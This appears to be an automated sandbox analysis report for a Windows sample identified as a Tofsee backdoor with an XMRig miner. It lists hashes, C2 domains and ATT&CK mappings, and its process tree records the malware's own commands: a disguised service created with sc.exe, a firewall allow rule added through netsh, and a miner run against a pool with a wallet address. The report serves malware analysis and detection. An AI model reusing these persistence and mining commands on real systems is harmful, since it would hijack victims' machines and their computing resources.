Analysis

  • max time kernel
    193s
  • max time network
    245s
  • platform
    windows7_x64
  • resource
    win7-20220715-en
  • resource tags

    arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system
  • submitted
    31-07-2022 05:03

General

  • Target

    13.exe

  • Size

    292KB

  • MD5

    73dce3e7861a21a660c098f08fcd09fa

  • SHA1

    2a555fece19e500f8c65e2b1e26fb6dbcd44981d

  • SHA256

    3c38e00f572800dfdcf676a141e4b98903977368f8870cd29221b3320b640ed4

  • SHA512

    9ffe934411c0f91a1e92884bfd455e6d0f1188ec5fb7368b134084008462a664ea438396d0161940ea6345e5952ae74dd9408c6f472eef46102890d50eb0fb50

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\13.exe
    "C:\Users\Admin\AppData\Local\Temp\13.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1984
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ybxvtwmx\
      2⤵
        PID:1232
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mxukqfjk.exe" C:\Windows\SysWOW64\ybxvtwmx\
        2⤵
          PID:1280
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ybxvtwmx binPath= "C:\Windows\SysWOW64\ybxvtwmx\mxukqfjk.exe /d\"C:\Users\Admin\AppData\Local\Temp\13.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1632
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ybxvtwmx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1060
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ybxvtwmx
          2⤵
          • Launches sc.exe
          PID:1168
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1968
      • C:\Windows\SysWOW64\ybxvtwmx\mxukqfjk.exe
        C:\Windows\SysWOW64\ybxvtwmx\mxukqfjk.exe /d"C:\Users\Admin\AppData\Local\Temp\13.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1512
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2016
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1128

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\mxukqfjk.exe
        Filesize

        13.9MB

        MD5

        54f8e10e6af3dc7dbe3ae884f5990912

        SHA1

        21735a65baa4ee529fe77dbc3782cfd958085099

        SHA256

        0edbf75b02b9986f03b3bc863449f752cefcd9c0a2ff9f90fc968aa9108e2fd7

        SHA512

        814805a7b25f803a1d07b2abde49ad1a7b75a2d9b6e3de5f0ced4d3dc2dac8cf98096bb71485466f0a77dc3a3f45cd721df17d013b6e77084ec1e23ec2df473f

      • C:\Windows\SysWOW64\ybxvtwmx\mxukqfjk.exe
        Filesize

        13.9MB

        MD5

        54f8e10e6af3dc7dbe3ae884f5990912

        SHA1

        21735a65baa4ee529fe77dbc3782cfd958085099

        SHA256

        0edbf75b02b9986f03b3bc863449f752cefcd9c0a2ff9f90fc968aa9108e2fd7

        SHA512

        814805a7b25f803a1d07b2abde49ad1a7b75a2d9b6e3de5f0ced4d3dc2dac8cf98096bb71485466f0a77dc3a3f45cd721df17d013b6e77084ec1e23ec2df473f

      • memory/1060-62-0x0000000000000000-mapping.dmp
      • memory/1128-96-0x000000000011259C-mapping.dmp
      • memory/1128-91-0x0000000000080000-0x0000000000171000-memory.dmp
        Filesize

        964KB

      • memory/1128-89-0x0000000000080000-0x0000000000171000-memory.dmp
        Filesize

        964KB

      • memory/1168-63-0x0000000000000000-mapping.dmp
      • memory/1232-55-0x0000000000000000-mapping.dmp
      • memory/1280-56-0x0000000000000000-mapping.dmp
      • memory/1512-77-0x00000000008DE000-0x00000000008EE000-memory.dmp
        Filesize

        64KB

      • memory/1512-71-0x00000000008DE000-0x00000000008EE000-memory.dmp
        Filesize

        64KB

      • memory/1512-72-0x0000000000400000-0x0000000000454000-memory.dmp
        Filesize

        336KB

      • memory/1512-80-0x0000000000400000-0x0000000000454000-memory.dmp
        Filesize

        336KB

      • memory/1632-61-0x0000000000000000-mapping.dmp
      • memory/1968-65-0x0000000000000000-mapping.dmp
      • memory/1984-59-0x00000000001B0000-0x00000000001C3000-memory.dmp
        Filesize

        76KB

      • memory/1984-66-0x00000000002EE000-0x00000000002FE000-memory.dmp
        Filesize

        64KB

      • memory/1984-67-0x0000000000400000-0x0000000000454000-memory.dmp
        Filesize

        336KB

      • memory/1984-58-0x00000000002EE000-0x00000000002FE000-memory.dmp
        Filesize

        64KB

      • memory/1984-64-0x00000000002EE000-0x00000000002FE000-memory.dmp
        Filesize

        64KB

      • memory/1984-60-0x0000000000400000-0x0000000000454000-memory.dmp
        Filesize

        336KB

      • memory/1984-54-0x00000000762B1000-0x00000000762B3000-memory.dmp
        Filesize

        8KB

      • memory/2016-75-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/2016-83-0x00000000021F0000-0x00000000023FF000-memory.dmp
        Filesize

        2.1MB

      • memory/2016-86-0x0000000000290000-0x0000000000296000-memory.dmp
        Filesize

        24KB

      • memory/2016-82-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/2016-76-0x0000000000089A6B-mapping.dmp
      • memory/2016-73-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/2016-98-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB